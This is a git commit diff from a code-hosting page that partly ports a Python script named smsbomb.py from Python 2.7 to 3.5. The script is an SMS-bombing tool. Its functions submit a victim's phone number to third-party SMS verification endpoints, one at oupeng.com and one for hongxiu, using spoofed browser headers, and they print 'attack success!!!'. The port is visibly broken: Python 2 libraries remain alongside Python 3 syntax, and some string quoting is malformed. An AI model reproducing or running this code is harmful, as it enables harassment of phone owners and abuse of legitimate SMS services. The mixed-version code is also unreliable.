Add files via upload
parent
2784f0a934
commit
6dce3be923
|
@ -1,6 +1,6 @@
|
||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
#-*- coding: utf-8 -*-
|
#-*- coding: utf-8 -*-
|
||||||
#python2.7
|
#python3.5
|
||||||
#=====================================================================================================
|
#=====================================================================================================
|
||||||
#smsbomb.py
|
#smsbomb.py
|
||||||
#author: ym2011
|
#author: ym2011
|
||||||
|
@ -13,14 +13,15 @@
|
||||||
try:
|
try:
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
|
import ssl
|
||||||
import urllib
|
import urllib
|
||||||
import urllib2
|
import urllib2
|
||||||
import httplib
|
import httplib
|
||||||
import re
|
import re
|
||||||
import string
|
import string
|
||||||
import cookielib
|
from http import cookies
|
||||||
except:
|
except ValueError:
|
||||||
print u '''
|
print (""""
|
||||||
运行出错:
|
运行出错:
|
||||||
|
|
||||||
以下的python 库尚未安装:
|
以下的python 库尚未安装:
|
||||||
|
@ -37,12 +38,12 @@ except:
|
||||||
或者使用以下方式:
|
或者使用以下方式:
|
||||||
|
|
||||||
easy_install httplib2
|
easy_install httplib2
|
||||||
|
"""")
|
||||||
'''
|
sys.exit()
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
|
|
||||||
def oupeng(phone):
|
|
||||||
|
def oupeng(phone: object) -> object:
|
||||||
datas=""
|
datas=""
|
||||||
url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone
|
url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone
|
||||||
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
|
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
|
||||||
|
@ -53,11 +54,12 @@ def oupeng(phone):
|
||||||
request=urllib2.Request(url=url,headers=i_headers)
|
request=urllib2.Request(url=url,headers=i_headers)
|
||||||
response=urllib2.urlopen(request)
|
response=urllib2.urlopen(request)
|
||||||
datas=response.read()
|
datas=response.read()
|
||||||
print datas
|
print (datas)
|
||||||
print 'attack success!!!'
|
print ('attack success!!!')
|
||||||
except Exception, e:
|
except Exception as e:
|
||||||
print e
|
print (e)
|
||||||
print "attack failed!!!"
|
print("attack failed!!!")
|
||||||
|
|
||||||
|
|
||||||
def hongxiu(phone):
|
def hongxiu(phone):
|
||||||
datas=""
|
datas=""
|
||||||
|
@ -75,11 +77,11 @@ def hongxiu(phone):
|
||||||
request=urllib2.Request(url,payload,i_headers)
|
request=urllib2.Request(url,payload,i_headers)
|
||||||
response=urllib2.urlopen(request)
|
response=urllib2.urlopen(request)
|
||||||
datas=response.read()
|
datas=response.read()
|
||||||
print datas
|
print (datas)
|
||||||
print 'attack success!!!'
|
print ('attack success!!!')
|
||||||
except Exception, e:
|
except Exception:
|
||||||
print e
|
print (Exception)
|
||||||
print "attack failed!!!"
|
print ("attack failed!!!")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -93,4 +95,3 @@ if __name__=="__main__":
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue